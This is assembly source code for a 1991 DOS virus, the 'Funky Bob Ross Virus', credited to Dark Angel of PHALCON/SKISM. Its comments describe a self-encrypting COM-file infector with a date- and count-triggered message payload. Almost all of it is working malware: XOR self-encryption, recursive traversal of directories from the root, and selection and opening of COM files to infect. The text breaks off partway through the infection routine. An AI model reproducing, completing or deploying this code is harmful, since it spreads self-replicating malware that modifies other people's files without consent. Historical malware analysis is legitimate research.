; The Funky Bob Ross Virus Version 1.0
; Written by Dark Angel / 26 September 1991 / (c) 1991
; PHALCON/SKISM Co-op
; Effective length: 1125, Resident length: 672 bytes
;
; DEDICATION:
;   This virus was written expressedly to
;      1) Piss off Patty Hoffman, John McAffee, Ross Greenberg, and all the
;         other guru-wanna-bes in this world.
;      2) Spread the message of The Almighty Bob, and so enrichen the lives
;         of people all over the world.
;      3) Show off (Now I can tell people that I wrote a virus!)
;
; WHAT THIS IS:
;   This is a self-encrypting, non-overwriting COM infector.  It doesn't do
;   anything to EXE files.  File sizes increase by 1117 bytes.  It goes off
;   on July 9th of any year or after 7 infection "waves."
;
; WHAT IT DOES WHEN IT GOES OFF:
;   The virus goes memory resident and prints out a Bobism every 5 minutes.
;   It then enters a delay loop for approximately 5 seconds, allowing for a
;   brief moment of silence while the victim reads Bob's holy message.  The
;   virus will not destroy anything.  The virus will not go TSR if it finds
;   another copy of itself in memory.
;
; CAUTION: THIS IS DESTRUCTIVE CODE.  YOU SHOULD NOT EVEN BE LOOKING AT IT.
;          I HAVE NEVER AND WILL NEVER RELEASE THIS CODE.  IF YOU SHOULD BE
;          LOOKING AT IT, IT IS BECAUSE IT WAS STOLEN FROM ME.  YOU HAVE NO
;          RIGHT TO LOOK AT THIS CODE.  IF THIS SOURCE SHOULD FALL INTO THE
;          WRONG HANDS, IT COULD BE VERY BAD!  DESTROY THIS IMMEDIATELY.  I
;          HOLD NO RESPONSIBILITY FOR WHAT STUPID PEOPLE DO WITH THIS CODE.
;          THIS WAS WRITTEN FOR EDUCATIONAL PURPOSES ONLY!!!

CODE    SEGMENT PUBLIC  'CODE'
        ORG     100h
        ASSUME  CS:CODE,DS:CODE,SS:CODE,ES:CODE

DTA_fileattr    EQU     21
DTA_filetime    EQU     22
DTA_filedate    EQU     24
DTA_filesize    EQU     26
DTA_filename    EQU     30

virus_marker    equ     026FFh   ; JMP WORD PTR
virus_marker2   equ     00104h   ; 0104h
part1_size      equ     part1_end - part1_start
part2_size      equ     part2_end - part2_start
offset_off      equ     duh2
init_delay      equ     5280    ; Initial delay
delay           equ     400     ; Subsequent delay
num_Messages    equ     7       ; Number of Bob messages
waves           equ     7       ; Number of waves to go off after
infec_date      equ     0709h   ; Date of psychosis

Counter         equ     108h
D_Mess          equ     110h
Int_08_Start    equ     112h

part1_start:
        jmp     word ptr duh
duh     dw      middle_part_end - part1_start + 100h
duh2    dw      0
part1_end:

middle_part_start:
middle_part_end:

;=============================================================================
;Part 2 begins: Dis is the D-Cool part
;=============================================================================
part2_start:
        cld
        call    decrypt
        mov     si, offset Go
        add     si, offset_off
        jmp     si

encrypt_val     db      00h

decrypt:
encrypt:
        mov     si, offset encrypt_val
        add     si, offset_off
        mov     ah, byte ptr [si]

        mov     cx, offset part2_end - offset bam_bam
        add     si, offset bam_bam - offset encrypt_val
        mov     di, si

xor_loop:
        lodsb                           ; DS:[SI] -> AL
        xor     al, ah
        stosb
        loop    xor_loop
        ret

copy_rest_stuff:
; Mah copying routine
        push    si              ; SI -> buffer3
        call    encrypt
        mov     cx, part2_size
        pop     dx
        add     dx, offset part2_start - offset buffer3
        mov     ah, 40h
        int     21h
        call    decrypt
bam_bam:
        ret

buffer    db 0CDh, 20h, 0, 0, 0, 0, 0, 0
buffer2   db part1_end - part1_start dup (?)
buffer3   dw ?
orig_path db 64 dup (?)
num_infec db 0                  ; Infection wave number
infec_now db 0                  ; Number files infected this time
root_dir  db '\',0
com_mask  db '*.com',0
dir_mask  db '*.*',0
back_dir  db '..',0
nest      dw 0

DTA     db 43 DUP (0)           ; For use by infect_dir

Go:
        add     si, offset buffer - offset Go
        mov     di, si
        add     di, offset buffer2 - offset buffer
        mov     cx, part1_size
        rep     movsb

        mov     ah, 47h                 ; Get directory
        xor     dl,dl                   ; Default drive
        add     si, offset orig_path - offset buffer - 8 ; DS:[SI] -> buffer
        int     21h                     ;  in orig_path
        jc      Go_Error

        mov     ah, 3Bh                 ; Change directory
        mov     dx, si                  ;  to the root dir
        add     dx, offset root_dir - offset orig_path
        int     21h
        jc      Go_Error

        add     si, offset num_infec - offset orig_path
        inc     byte ptr [si]           ; New infection wave

        push    si                      ; Save offset num_infec

        add     si, offset infec_now - offset num_infec
        mov     byte ptr [si], 3        ; Reset infection
                                        ;  counter to 3
                                        ;  for D-new run.

        call    traverse_fcn            ; Do all the work

        pop     si                      ; Restore offset num_infec
        cmp     byte ptr [si], waves    ; 10 infection waves?
        jge     Go_Psycho               ; If so, activate

        mov     ah, 2Ah                 ; Get date
        int     21h
        cmp     dx, infec_date          ; Is it 07/09?
        jz      Go_Psycho               ; If so, activate
Go_Error:
        jmp     quit                    ; And then quit

Go_Psycho:
        jmp     Psycho

origattr  db 0
origtime  dw 0
origdate  dw 0
filesize  dw 0                  ; Size of the uninfected file

oldhandle dw 0

;=============================================================================
;D-Traversal function begins
;=============================================================================
traverse_fcn proc    near
        push    bp                      ; Create stack frame
	mov	bp,sp
        sub     sp,44                   ; Allocate space for DTA
        push    si

        jmp     infect_directory
In_fcn:
        mov     ah,1Ah                  ;Set DTA
        lea     dx,word ptr [bp-44]     ; to space allotted
        int     21h                     ;Do it now, do it hard!

        mov     ah, 4Eh                 ;Find first
        mov     cx,16                   ;Directory mask
        mov     dx,offset dir_mask      ; *.*
        add     dx,offset_off
        int     21h
        jmp     short isdirok
gonow:
        cmp     byte ptr [bp-14], '.'   ;Is first char == '.'?
        je      short donext            ; If so, loop again
        lea     dx,word ptr [bp-14]     ;else load dirname
        mov     ah,3Bh                  ; and changedir there
        int     21h                     ;Yup, yup
        jc      short donext            ; Do next if invalid
        mov     si, offset nest         ; Else increment nest
        add     si, offset_off
        inc     word ptr [si]           ; nest++
        call    near ptr traverse_fcn   ; recurse directory
donext:
        lea     dx,word ptr [bp-44]     ;Load space allocated for DTA address
        mov     ah,1Ah                  ; and set DTA to it
        int     21h                     ; 'cause it might have changed

        mov     ah,4Fh                  ;Find next
        int     21h
isdirok:
        jnc     gonow                   ;If OK, jmp elsewhere
        mov     si, offset nest
        add     si, offset_off
        cmp     word ptr [si], 0        ;If root directory (nest == 0)
        jle     short cleanup           ; Quit
        dec     word ptr [si]           ;Else decrement nest
        mov     dx,offset back_dir      ;'..'
        add     dx, offset_off
        mov     ah,3Bh                  ;Change directory
        int     21h                     ; to previous one
cleanup:
        pop     si
	mov	sp,bp
	pop	bp
	ret	
traverse_fcn endp
;=============================================================================
;D-Traversal function ends
;=============================================================================

Goto_Error:
        jmp     Error

enuff_for_now:
                                        ;Set nest to nil
        mov     si, offset nest         ; in order to
        add     si, offset_off          ; halt the D-Cool
        mov     word ptr [si], 0        ; traversal fcn
        jmp     short cleanup
return_to_fcn:
        jmp     short In_fcn            ;Return to traversal function

infect_directory:
        mov     ah, 1Ah                 ;Set DTA
        mov     dx, offset DTA          ; to DTA struct
        add     dx, offset_off
        int     21h

find_first_COM:
        mov     ah, 04Eh                ; Find first file
        mov     cx, 0007h               ; Any file
        mov     dx, offset com_mask     ; DS:[DX] --> filemask
        add     dx, offset_off
        int     21h                     ; Fill DTA (hopefully)
        jc      return_to_fcn           ; <Sigh> Error #E421:0.1
        jmp     check_if_COM_infected   ; I<___-Cool! Found one!

find_next_file2:
        mov     si, offset infec_now    ; Another loop,
        add     si, offset_off          ;  Another infection
        dec     byte ptr [si]           ;  Infected three?
        jz      enuff_for_now           ;   If so, exit
find_next_file:
        mov     ah,4Fh                  ; Find next
        int     21h
        jc      return_to_fcn

check_if_COM_infected:
        mov     si, offset DTA + dta_filename + 6 ; look at 7th letter
        add     si, offset_off
        cmp     byte ptr [si], 'D'              ; ??????D.COM?
        jz      find_next_file                  ; don't kill COMMAND.COM

        mov     ax,3D00h                        ; Open channel read ONLY
        mov     dx, si                          ; Offset Pathname in DX
        sub     dx, 6
        int     21h                             ; Open NOW!
        jc      find_next_file                  ; If error, find another